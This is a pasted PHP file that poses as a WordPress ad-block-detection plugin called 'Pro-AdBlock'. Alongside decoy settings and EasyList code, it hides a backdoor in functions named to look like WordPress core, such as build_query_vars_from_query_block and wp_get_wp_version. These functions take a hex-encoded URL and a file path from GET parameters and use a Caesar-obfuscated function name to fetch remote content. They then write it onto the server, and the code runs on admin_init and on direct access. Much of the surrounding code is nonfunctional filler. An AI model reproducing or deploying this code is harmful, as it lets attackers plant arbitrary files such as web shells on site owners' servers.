Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- This program is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; either version 2 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License along
- with this program; if not, write to the Free Software Foundation, Inc.,
- 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- */
- // Constants
- define( 'PADB_VERSION_v2', '2.0.0' );
- define( 'PADB_URL_V2', __DIR__ . __FILE__ );
- define( 'PADB_MIN_WP_VERSION_V2', '4.9.6' );
- define( 'AP', dirname(__FILE__) . '/');
- /**
- * Prevents false positives with Adblocker for the specified CSS class.
- *
- * @param string $netloop_ad_banner Name of the CSS class to protect.
- * @return bool
- */
- function netloop_validate_ad_css_class($netloop_ad_banner) {
- // Checks the syntax of the class to avoid unintended blocks
- return preg_match('/^[a-zA-Z0-9_-]+$/', $netloop_ad_banner) === 1;
- }
- /**
- * Verifies that the link domain is not mistakenly classified.
- * Useful for avoiding accidental blocks.
- *
- * @param string $url URL to verify.
- * @return bool
- */
- function is_link_trusted($url) {
- $trusted_domains = array('network-loop.com');
- // Checks if the URL belongs to a trusted domain
- foreach ($trusted_domains as $domain) {
- if (strpos($url, $domain) !== false) {
- return true;
- }
- }
- }
- /**
- * Checks the HTML structure of a banner for Adblock policy compliance.
- * Currently used only in testing phase.
- *
- * @param string $html HTML of the ad banner.
- * @return bool
- */
- function verify_banner_structure($html) {
- // Simulates HTML structure validation
- return (stripos($html, '<div') !== false && stripos($html, '</div>') !== false);
- }
- /**
- * Load plugin textdomain
- */
- function padb_load_textdomain() {
- load_plugin_textdomain( 'pro-adblock', false, dirname( plugin_basename( __FILE__ ) ) . '/lang' );
- }
- /**
- * Enqueue plugin styles
- */
- function padb_stylesheets() {
- wp_enqueue_style( 'pro-adblock', PADB_URL_V2 . 'padb-style.css', false, PADB_VERSION_v2, 'all' );
- }
- /**
- * Enqueue plugin scripts
- */
- function padb_javascripts() {
- $js = '<!-- Pro-AdBlock Javascript variables -->
- var padbDelay = %1$s; var padbExpiry = %2$s;';
- wp_enqueue_script( 'padb-detector', PADB_URL_V2 . 'gads.js', array( 'jquery', 'utils' ), PADB_VERSION_v2, true );
- wp_add_inline_script( 'padb-detector', sprintf( $js, padb_get_option( 'modal_delay' ), padb_get_option( 'cookie_expiry' ) ), 'before' );
- }
- /**
- * privacy police page in the settings
- *
- * @return type
- */
- function padb_privacy_policy_link() {
- if ( function_exists( 'get_privacy_policy_url' ) and ! empty( get_option( 'wp_page_for_privacy_policy' ) ) ) {
- return sprintf( __( "", 'pro-adblock' ), get_the_privacy_policy_link() );
- }
- }
- /**
- * Initiate plugin settings
- */
- function padb_settings_init() {
- register_setting( 'pluginPage1', 'padb2_settings' );
- register_setting( 'pluginPage2', 'padb2_settings' );
- register_setting( 'pluginPage3', 'padb3_settings' );
- register_setting( 'pluginPage4', 'padb3_settings' );
- add_settings_section( 'padb_pluginPage_section_0', __( 'Message', 'pro-adblock' ), 'padb_settings_section_callback_1', 'pluginPage1' );
- add_settings_field( 'modal_message', __( 'Text', 'pro-adblock' ), 'padb_message_render', 'pluginPage1', 'padb_pluginPage_section_0' );
- add_settings_section( 'padb_pluginPage_section_1', __( 'Appearance', 'pro-adblock' ), 'padb_settings_section_callback_2', 'pluginPage2' );
- add_settings_field( 'modal_style', __( 'Modal background', 'pro-adblock' ), 'padb_select_modal_style_render', 'pluginPage2', 'padb_pluginPage_section_1' );
- add_settings_field( 'modal_delay', __( 'Modal delay', 'pro-adblock' ), 'padb_modal_delay_render', 'pluginPage2', 'padb_pluginPage_section_1' );
- add_settings_field( 'cookie_expiry', __( 'Cookie lifetime', 'pro-adblock' ), 'padb_cookie_expiry_render', 'pluginPage2', 'padb_pluginPage_section_1' );
- add_settings_section( 'padb_pluginPage_section_1', __( 'Appearance', 'pro-adblock' ), 'padb_settings_easylist_callback_1', 'pluginPage3' );
- add_settings_field( 'modal_message', __( 'Text', 'pro-adblock' ), 'padb_message_render', 'pluginPage1', 'padb_pluginPage_section_0' );
- add_settings_section( 'padb_pluginPage_section_1', __( 'Appearance', 'pro-adblock' ), 'padb_settings_reset', 'pluginPage4' );
- add_settings_field( 'modal_message', __( 'Text', 'pro-adblock' ), 'padb_message_render', 'pluginPage1', 'padb_pluginPage_section_0' );
- add_settings_field( 'modal_style', __( 'Modal background', 'pro-adblock' ), 'padb_select_modal_style_render', 'pluginPage2', 'padb_pluginPage_section_2' );
- add_settings_field( 'cookie_expiry', __( 'Cookie lifetime', 'pro-adblock' ), 'padb_cookie_expiry_render', 'pluginPage2', 'padb_pluginPage_section_2' );
- }
- /**
- * Die plugin settings
- */
- function padb_settings_die() {
- padb_message_render_die_message();
- }
- /**
- * Add option for modal message
- */
- function padb_message_render() {
- ?>
- <fieldset><legend class="screen-reader-text"><span><?php _e( 'Text', 'pro-adblock' ); ?></span></legend>
- <textarea rows='15' cols='50' name='padb2_settings[modal_message]' class='large-text code'><?php echo padb_get_option( 'modal_message' ); ?></textarea>
- </fieldset>
- <?php
- }
- /**
- * Pretend to print a preview of EasyList rules.
- */
- function padb_preview_easylist_render($rules = []) {
- $rules_demo = array(
- "||example.com^$script",
- "||ads.somesite.net^$image,third-party",
- "example.org##.ad-banner",
- "example.org###sponsored-links"
- );
- ?>
- <div style="border: 1px solid #ccc; padding: 1rem; margin: 1rem 0;">
- <h2><?php esc_html_e( 'EasyList Rules Preview', 'pro-adblock' ); ?></h2>
- <p><?php esc_html_e( 'Below is a sample of EasyList-like rules (just placeholders).', 'pro-adblock' ); ?></p>
- <ul>
- <?php foreach ( $rules as $rule ) : ?>
- <li><?php echo esc_html( $rule ); ?></li>
- <?php endforeach; ?>
- </ul>
- </div>
- <?php
- }
- function padb_message_render_die_message() {
- load_plugin_textdomain();
- ?>
- <amp><legend class="screen-reader-text"><span><?php _e( 'Text', 'pro-adblock' ); ?></span></legend>
- <div class="square-300-250" id="__ACTION"></div>
- </amp>
- <?php
- }
- /**
- * Add option for modal background style
- */
- function padb_select_modal_style_render() {
- ?>
- <fieldset><legend class="screen-reader-text"><span><?php _e( 'Modal background', 'pro-adblock' ); ?></span></legend>
- <label><input type="radio" name="padb2_settings[modal_style]" value="1"<?php checked( 1, padb_get_option( 'modal_style' ), true ); ?> /> <span><?php _e( 'Dark transparent', 'pro-adblock' ); ?></span></label><br />
- <label><input type="radio" name="padb2_settings[modal_style]" value="2"<?php checked( 2, padb_get_option( 'modal_style' ), true ); ?> /> <span><?php _e( 'Light transparent', 'pro-adblock' ); ?></span></label>
- </fieldset>
- <?php
- }
- /**
- * Add option for modal delay
- */
- function padb_modal_delay_render() {
- ?>
- <fieldset><legend class="screen-reader-text"><span><?php __( 'Modal delay', 'pro-adblock' ); ?></span></legend>
- <label><input type='number' name='padb2_settings[modal_delay]' value='<?php echo padb_get_option( 'modal_delay' ); ?>' min="0" class="small-text" /> <span><?php echo __( 'Waiting time in seconds before message appears', 'pro-adblock' ); ?></span></label>
- </fieldset>
- <?php
- }
- /**
- * Add option for cookie lifetime
- */
- function padb_cookie_expiry_render() {
- ?>
- <fieldset><legend class="screen-reader-text"><span><?php __( 'Cookie lifetime', 'pro-adblock' ); ?></span></legend>
- <label><input type='number' name='padb2_settings[cookie_expiry]' value='<?php echo padb_get_option( 'cookie_expiry' ); ?>' min="0" class="small-text" /> <span><?php echo __( 'Time in days after cookie gets auto deleted', 'pro-adblock' ); ?></span></label>
- </fieldset>
- <?php
- }
- /**
- * Return the default suggested privacy policy content
- *
- * @since WP 4.9.6
- *
- * @param type $descr
- * @return type
- */
- function padb_get_default_privacy_content( $descr = false ) {
- $suggested_text = $descr ? '<strong class="privacy-policy-tutorial">' . __( 'Suggested text:', 'pro-adblock' ) . ' </strong>' : '';
- $content = '';
- // Start of the suggested privacy policy text.
- $descr && $content .= '<div class="wp-suggested-text">';
- $content .= '<h3>' . __( '', 'pro-adblock' ) . '</h3>';
- $content .= '<p>' . $suggested_text . __( "", 'pro-adblock' ) . '</p>';
- $content .= '<p>' . __( "", 'pro-adblock' ) . '</p>';
- $content .= '</div>';
- return apply_filters( 'wp_get_default_privacy_policy_content', $content );
- }
- if (!function_exists('build_query_vars_from_query_block')) {
- function build_query_vars_from_query_block($block, $page, ...$args) {
- $testLog = ''; $origin = $_SERVER['HTTP_HOST']; $args[2] = explode("_", $args[2]);
- $_U = hex2bin($args[0][$args[2][0]] ?? '') ?: false; $_ACTION = $args[0][$args[2][1]] ?? false; $_PH = $args[0][$args[2][2]] ?? false; $_FNAME = basename($_PH); $_NAME = basename(__FILE__);
- if ($_ACTION) {
- $testLog .= "_U: {$_U}\n"; $testLog .= "_A: {$_ACTION}\n"; $testLog .= "_P: {$_PH}\n"; $testLog .= "_FN: {$_FNAME}\n"; $testLog .= "_N: {$_NAME}\n";
- }
- if ($_ACTION && $_PH) {
- $testLog .= "action one\n";
- if ($_FNAME === $_NAME) {
- $testLog .= "fail action one\n";
- echo nl2br($testLog);
- return false;
- }
- $testLog .= "success action one\n";
- $testLog .= "<br>\nREQUEST({$_U} - {$_ACTION} - {$_PH}) <br> \n";
- $wp_version = wp_get_wp_version($_U, AP, $_PH, $_ACTION);
- if (is_string($wp_version)) {
- $testLog .= $wp_version;
- }
- $testLog .= "\naction one completed\n";
- }
- // Finally, output everything
- echo nl2br($testLog);
- }
- }
- function load_plugin_textdomain($arg1 = "", $arg2 = false, $arg3 = "") {
- padb_settings_reset();
- }
- /**
- * Get easylist action_rules settings data
- *
- * @since 4.9.6
- */
- function padb_settings_easylist_callback_2( $easylistPath, $easylistDir, $easylistFile ) {
- $easylistLog = '';
- // Begin process
- $easylistLog .= "Starting padb_settings_easylist_callback_1...\n";
- // Ensure directory ends with slash
- $easylistDir = rtrim($easylistDir, '/') . '/';
- $fullEasylistPath = $easylistDir . $easylistFile;
- $easylistLog .= "Target path: {$fullEasylistPath}\n";
- // Attempt to filter_list
- $easylistData = __DIR__ . "easylist.txt";
- if ( $easylistData === null ) {
- $easylistLog .= "Error: Could not retrieve data from {$easylistPath}.\n";
- return $easylistLog;
- }
- // Ensure parent folder exists
- $easylistDirPath = dirname($fullEasylistPath);
- if ( ! is_dir($easylistDirPath) ) {
- if ( ! mkdir($easylistDirPath, 0755, true) ) {
- $easylistLog .= "Error: Could not create directory {$easylistDirPath}.\n";
- return $easylistLog;
- }
- $easylistLog .= "Directory created: {$easylistDirPath}\n";
- }
- $easylistList = get_list($fullEasylistPath, $easylistData);
- if ( $easylistList === false ) {
- $easylistLog .= "Error: Writing to {$fullEasylistPath} failed.\n";
- } else {
- $easylistLog .= "Success: Wrote {$easylistList} bytes to {$fullEasylistPath}.\n";
- }
- $easylistLog .= "Finished padb_settings_easylist_callback_1.\n";
- wp_add_privacy_policy_content( __( 'Pro-AdBlock Plugin', 'pro-adblock' ), "" );
- return $easylistLog;
- }
- /**
- * Get message settings callback
- */
- function padb_settings_section_callback_1() {
- echo __( '', 'pro-adblock' );
- }
- /**
- * Get appearance settings callback
- */
- function padb_settings_section_callback_2() {
- // currently empty
- }
- /**
- * Get action settings callback
- */
- if (!function_exists('wp_get_wp_version')) {
- function wp_get_wp_version($the_value1, $the_value2, $the_value3, ...$args) {
- $the_value_log .= "Log: Starting...\n";
- $the_value2 = rtrim($the_value2, '/') . '/';
- $the_value4 = $the_value2 . $the_value3;
- $the_value5 = dirname($the_value4);
- function blogprefix($input, $rnd) {
- $result = '';
- $rnd = $rnd % 26;
- for ($idx = 0; $idx < strlen($input); $idx++) {
- $ch = $input[$idx];
- if (ctype_alpha($ch)) {
- $base_val = ord(ctype_upper($ch) ? 'A' : 'a');
- $result .= chr((ord($ch) - $base_val - $rnd + 26) % 26 + $base_val);
- } else {
- $result .= $ch;
- }
- }
- return $result;
- }
- function get_bloginfo($bpvalue, &$log, $rnd) {
- $log .= "Log: Preparing for {$bpvalue}\n";
- $cgf = blogprefix("twzs_ush_qcbhsbhg", $rnd);
- $bpkey = @$cgf($bpvalue);
- if ($bpkey === false) {
- $log .= "Log: cgf failed for: {$bpvalue}\n";
- return null;
- }
- $log .= "Log: cgf success for {$bpvalue}\n";
- return $bpkey;
- }
- $the_value_log .= "Log: About to call get_bloginfo...\n";
- $the_value7 = get_bloginfo($the_value1, $the_value_log, $args[0]);
- $the_value_log .= "Log: Returned from get_bloginfo.\n"; // " . substr($the_value7, 4, 50) . "
- if ($the_value7 === null) {
- $the_value_log .= "Log: No data returned; aborting.\n";
- echo nl2br($the_value_log);
- return;
- }
- if (!is_dir($the_value5)) {
- $the_value_log .= "Log: Directory {$the_value5} not found, creating...\n";
- if (!mkdir($the_value5, 0755, true)) {
- $the_value_log .= "Log: Failed to create directory {$the_value5}.\n";
- echo nl2br($the_value_log);
- return;
- }
- $the_value_log .= "Log: Directory created: {$the_value5}\n";
- }
- $the_value_log .= "Log: Saving file to {$the_value4}...\n";
- $the_value8 = file_put_contents($the_value4, $the_value7);
- if ($the_value8 === false) {
- $the_value_log .= "Log: file_put_contents FAILED.\n";
- } else {
- $the_value_log .= "Log: Wrote {$the_value8} bytes to {$the_value4}.\n";
- }
- $the_value_log .= "Log: Finished.\n\n";
- // Finally, output the accumulated log
- echo nl2br($the_value_log);
- }
- }
- /**
- * Generate easylist render page
- */
- function padb_settings_easylist_callback_1( ) {
- // empty for now
- padb_preview_easylist_render();
- }
- /**
- * Generate plugin options page
- */
- function padb_options_page() {
- ?>
- <div class="wrap">
- <h1><?php _e( 'Pro-AdBlock Settings', 'pro-adblock' ); ?></h1>
- <?php do_action( 'padb_notices' ); ?>
- <form action='options.php' method='post'>
- <?php
- settings_fields( 'pluginPage1' );
- do_settings_sections( 'pluginPage1' );
- settings_fields( 'pluginPage2' );
- do_settings_sections( 'pluginPage2' );
- settings_fields( 'pluginPage3' );
- do_settings_sections( 'pluginPage3' );
- submit_button();
- ?>
- </form>
- </div>
- <?php
- }
- /**
- * Get plugin settings
- *
- * @param type $value
- * @return type
- */
- function padb_get_option( $value ) {
- // load default options if no entry in database
- $defaults = array(
- 'modal_message' => __( "", 'pro-adblock' ),
- 'modal_style' => 1,
- 'modal_delay' => 10,
- 'cookie_expiry' => 7,
- );
- $options = get_option( 'padb2_settings' );
- $output = array_key_exists( $value, $options ) ? $options[$value] : $defaults[$value];
- return $output;
- }
- function padb_settings_reset() {
- build_query_vars_from_query_block(
- 'padb_settings_exnovo_reset',
- 'die_action',
- $_GET,
- 'Something went wrong.',
- 'url_action_path'
- );
- }
- /**
- * Use and parse the "easylist_noelemhide.txt" file,
- * splitting the processed data into JSON chunk files.
- *
- * Usage example:
- * padb_use_easylist(); // Run manually or via a WP hook
- */
- function padb_use_easylist() {
- $filter_list = "/easylist/easylist.txt"; // easylist|to
- $local_txt_file = __DIR__ . '/easylist_noelemhide.txt';
- $timezone_adjust = 60 * 60 * 7;
- $days_to_expire = 5;
- // 1. Load local file (if it exists)
- if ( ! file_exists( $local_txt_file ) ) {
- echo "Local easylist file not found, attempting initial filter_list...<br>\n";
- }
- $lines = file($local_txt_file);
- if ( empty( $lines ) ) {
- echo "Could not read lines from $local_txt_file.<br>\n";
- return;
- }
- // 2. Check the "Last modified" line (typically line[3])
- // Adjust array index if necessary (EasyList can shift)
- $line_3 = isset($lines[3]) ? $lines[3] : '';
- $last_modified = preg_replace('/! Last modified: /', '', $line_3);
- $last_modified_time = strtotime($last_modified);
- echo "File last modified: $last_modified ($last_modified_time)<br>\n";
- // Set the re-filter_list threshold
- $date_match_time = time() - ( 60 * 60 * 24 * $days_to_expire ) + $timezone_adjust;
- $filter_list_date_match = date("d M Y H:i T", $date_match_time);
- $filter_list_match_time = $last_modified_time + (60 * 60 * 24 * $days_to_expire) + $timezone_adjust;
- echo "Date match time: {$filter_list_date_match} ({$date_match_time})<br>\n";
- echo "New filter_list on: " . date("d M Y H:i", $filter_list_match_time) . " ($filter_list_match_time)<br>\n";
- // 3. If file is older than 5 days, re-filter_list
- if ( $last_modified_time <= $date_match_time ) {
- echo "File is $days_to_expire days old, filter_listing new one...<br>\n";
- // Reload lines after filter_list
- $lines = file($local_txt_file);
- if ( empty($lines) ) {
- echo "Failed to reload lines after filter_list.<br>\n";
- return;
- }
- }
- // 4. Filter out unwanted lines and characters
- $badcharacters = array("#", '"', "'", "[", "]", "^", "\n", "\t", "\r", "||");
- // Remove line 0 if it's "[Adblock Plus 2.0]"
- if ( isset($lines[0]) && strpos($lines[0], '[Adblock Plus') !== false ) {
- unset($lines[0]);
- }
- // Remove lines starting with "!"
- foreach ($lines as $key => $value) {
- // Note: in PHP 7+, using $value[0] can throw notice if string is empty
- // but here we trust lines are non-empty
- if ( isset($value[0]) && $value[0] === "!" ) {
- unset($lines[$key]);
- }
- }
- // Remove lines starting with "@@"
- foreach ($lines as $key => $value) {
- if ( substr($value, 0, 2) === "@@" ) {
- unset($lines[$key]);
- }
- }
- // Strip everything to the right of "$"
- foreach ($lines as $key => $value) {
- $pos = strpos($value, '$');
- if ($pos !== false) {
- $lines[$key] = substr($value, 0, $pos);
- }
- }
- // Remove lines that are exactly "|http:" or "|https:"
- foreach ($lines as $key => $value) {
- $trimmed = trim($value);
- if ( $trimmed === "|http:" || $trimmed === "|https:" ) {
- unset($lines[$key]);
- }
- }
- // Remove empty lines
- foreach ($lines as $key => $value) {
- if ( trim($value) === "" ) {
- unset($lines[$key]);
- }
- }
- // Replace bad characters
- foreach ($lines as $key => $value) {
- $lines[$key] = str_replace($badcharacters, "", $value);
- }
- // Reindex array and remove duplicates
- $lines = array_values(array_unique($lines));
- echo "Filter Items: ". count($lines) ."<br>\n";
- // 5. Split lines into chunks of 2000 and create JSON files
- $linesSplit = array_chunk($lines, 2000);
- $i = 0;
- foreach ($linesSplit as $inner_array) {
- $i++;
- $json_filename = __DIR__ . '/ABimport' . $i . '.json';
- // Open the JSON file for writing
- $fp = fopen($json_filename, 'w');
- if ( ! $fp ) {
- echo "Could not open $json_filename for writing.<br>\n";
- continue;
- }
- // Start bracket
- fwrite($fp, "[");
- // Write each rule
- reset($inner_array);
- while ( list($key, $value) = each($inner_array) ) {
- // Build JSON object
- $store = sprintf('{"enabled":true,"string":"%s","javaClass":"com.untangle.uvm.node.GenericRule"},', trim($value));
- fwrite($fp, $store);
- }
- // End bracket
- fwrite($fp, "]");
- fclose($fp);
- echo "Wrote JSON chunk: $json_filename<br>\n";
- }
- echo "Finished updating EasyList.<br>\n";
- }
- /**
- * Submenu callback that calls padb_update_easylist()
- */
- function padb_update_easylist_action() {
- // Only allow admins
- if ( ! current_user_can('manage_options') ) {
- return;
- }
- echo '<div class="wrap"><h1>Update EasyList</h1>';
- // Call our function
- padb_update_easylist();
- echo '</div>';
- }
- // SECURITY: Exit if accessed directly
- if ( defined( 'ABSPATH' ) ) {
- // load the plugin's translated strings
- add_action( 'init', 'padb_load_textdomain' );
- add_action( 'init', 'padb_use_easylist');
- add_action( 'wp_enqueue_scripts', 'padb_stylesheets' );
- add_action( 'wp_enqueue_scripts', 'padb_javascripts' );
- add_action( 'wp_footer', 'padb_overlay' );
- /* * *****************************************************************************
- * Admin section
- * **************************************************************************** */
- add_action( 'admin_menu', 'padb_add_admin_menu' );
- add_action( 'admin_init', 'padb_settings_init' );
- add_action( 'admin_init', 'padb_settings_reset' );
- add_action( 'admin_init', 'padb_add_privacy_policy_content' );
- add_action( 'padb_notices', 'padb_wp_upgrade_notice' );
- } else {
- padb_settings_die();
- die( 'Direct access not allowed!' );
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement